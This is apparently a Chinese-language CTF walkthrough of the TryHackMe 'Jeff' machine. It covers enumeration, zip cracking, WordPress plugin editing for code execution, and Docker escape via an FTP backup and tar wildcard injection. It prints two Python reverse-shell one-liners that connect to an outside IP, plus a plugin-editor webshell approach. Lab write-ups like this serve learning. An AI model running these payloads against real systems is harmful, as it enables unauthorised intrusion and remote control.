TryHackMe-Jeff（boot2root | Hard?）

news2025/11/3 9:56:29

Jeff

你能破解杰夫的网络服务器吗？

如果你发现自己在暴力破解SSH，你就做错了。

端口扫描

循例nmap

在这里插入图片描述

进80，是一个空页面，查看源代码

在这里插入图片描述

将jeff.thm加入hosts

在这里插入图片描述

上gobuster

在这里插入图片描述

/admin是空页面，/backups也没东西，/uploads是文件上传点

然而连upload也是假的

在这里插入图片描述

扫admin/，login.php还是空的

在这里插入图片描述

扫/backups/

在这里插入图片描述

把backup.zip下下来，需要密码

在这里插入图片描述

zip2john后直接爆

在这里插入图片描述

查看bak得到wp密码

在这里插入图片描述

现在就差wp站点没找到，不出意外应该是vhost，直接上ffuf

在这里插入图片描述

把wordpress子域加进hosts

在这里插入图片描述

进到wp并且利用刚刚的凭据登录

在这里插入图片描述

无法通过改页面getshell

在这里插入图片描述

这里利用插件编辑器改插件index.php

在这里插入图片描述

但akismet这个目录无权访问

在这里插入图片描述

换另一个插件，同样的方法

在这里插入图片描述

访问hello.php

在这里插入图片描述

没问题，直接reverse shell

python3.7可用

在这里插入图片描述

payload:

python3.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

docker逃逸

在家目录的html下有一个root的文件

在这里插入图片描述

$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';

$username = "backupmgr";
$password = "SuXXXXXXxXXXXXXXX3!";

$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host

if( ! ftp_login($ftp, $username, $password) ){
    die("FTP Login failed.");
}

$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
    $msg = "$file was uploaded.\n";
}

很明显，172.20.0.1应该就是宿主机，而该php文件将连接到宿主机的ftp并上传一些文件去备份

这里没有ftp，我们可以用curl

在这里插入图片描述

这里上传文件后，如何进行备份是一个更值得关注的地方

在以往，我们通过所谓备份来提权的应该就是tar的通配符注入了

如果这里也是tar把ftp上传的文件进行备份，那么我们将直接逃逸到宿主机，获得宿主机的shell

hack.sh

#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在这里插入图片描述